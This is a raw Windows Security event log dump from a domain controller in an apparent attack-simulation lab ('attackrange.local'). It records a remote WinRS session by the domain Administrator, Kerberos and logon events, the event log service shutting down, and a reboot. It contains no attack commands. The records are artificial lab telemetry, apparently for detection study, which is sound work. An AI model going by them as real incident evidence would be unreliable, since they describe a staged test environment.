Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1BF469

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10c0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1030
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253587
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1BF469

Process Information:
	New Process ID:		0x1030
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253586
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1BF469

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253585
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1BF469
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{439E20AD-EA51-D523-33A7-A70BD5AD2743}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253584
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{439E20AD-EA51-D523-33A7-A70BD5AD2743}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253583
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{439E20AD-EA51-D523-33A7-A70BD5AD2743}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253582
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253581
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1BF044

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:52 PM
LogName=Security
SourceName=Microsoft-Windows-Eventlog
EventCode=1100
EventType=4
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Service shutdown
OpCode=Info
RecordNumber=253580
Keywords=Audit Success
Message=The event logging service has shut down.
03/11/2021 11:51:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253604
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x24c
	New Process Name:	C:\Windows\System32\autochk.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1c0
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253603
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1c0
	New Process Name:	C:\Windows\System32\smss.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x4
	Creator Process Name:	
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4826
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Other Policy Change Events
OpCode=Info
RecordNumber=253602
Keywords=Audit Success
Message=Boot Configuration Data loaded.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

General Settings:
	Load Options:		-
	Advanced Options:		No
	Configuration Access Policy:	Default
	System Event Logging:	No
	Kernel Debugging:	No
	VSM Launch Type:	Off

Signature Settings:
	Test Signing:		No
	Flight Signing:		No
	Disable Integrity Checks:	No

HyperVisor Settings:
	HyperVisor Load Options:	-
	HyperVisor Launch Type:	Off
	HyperVisor Debugging:	No
03/11/2021 11:51:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253614
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		0
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		-

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x4
	Process Name:		

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		-
	Authentication Package:	-
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:51:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4608
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security State Change
OpCode=Info
RecordNumber=253613
Keywords=Audit Success
Message=Windows is starting up.

This event is logged when LSASS.EXE starts and the auditing subsystem is initialized.
03/11/2021 11:51:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253612
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x360
	New Process Name:	C:\Windows\System32\lsass.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x2c8
	Creator Process Name:	C:\Windows\System32\wininit.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253611
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x350
	New Process Name:	C:\Windows\System32\services.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x2c8
	Creator Process Name:	C:\Windows\System32\wininit.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253610
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x31c
	New Process Name:	C:\Windows\System32\winlogon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x2c0
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253609
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2d0
	New Process Name:	C:\Windows\System32\csrss.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x2c0
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253608
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2c8
	New Process Name:	C:\Windows\System32\wininit.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x278
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253607
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2c0
	New Process Name:	C:\Windows\System32\smss.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1c0
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253606
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x280
	New Process Name:	C:\Windows\System32\csrss.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x278
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253605
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x278
	New Process Name:	C:\Windows\System32\smss.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1c0
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4902
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=253615
Keywords=Audit Success
Message=The Per-user audit policy table was created.

Number of Elements:	0
Policy ID:	0x6942
03/11/2021 11:51:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253621
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Process Information:
	New Process ID:		0x3e8
	New Process Name:	C:\Windows\System32\svchost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x350
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\system32\svchost.exe -k RPCSS

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253620
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		NETWORK SERVICE
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E4

Privileges:		SeAssignPrimaryTokenPrivilege
			SeAuditPrivilege
			SeImpersonatePrivilege
03/11/2021 11:51:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253619
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		NETWORK SERVICE
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x350
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:51:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
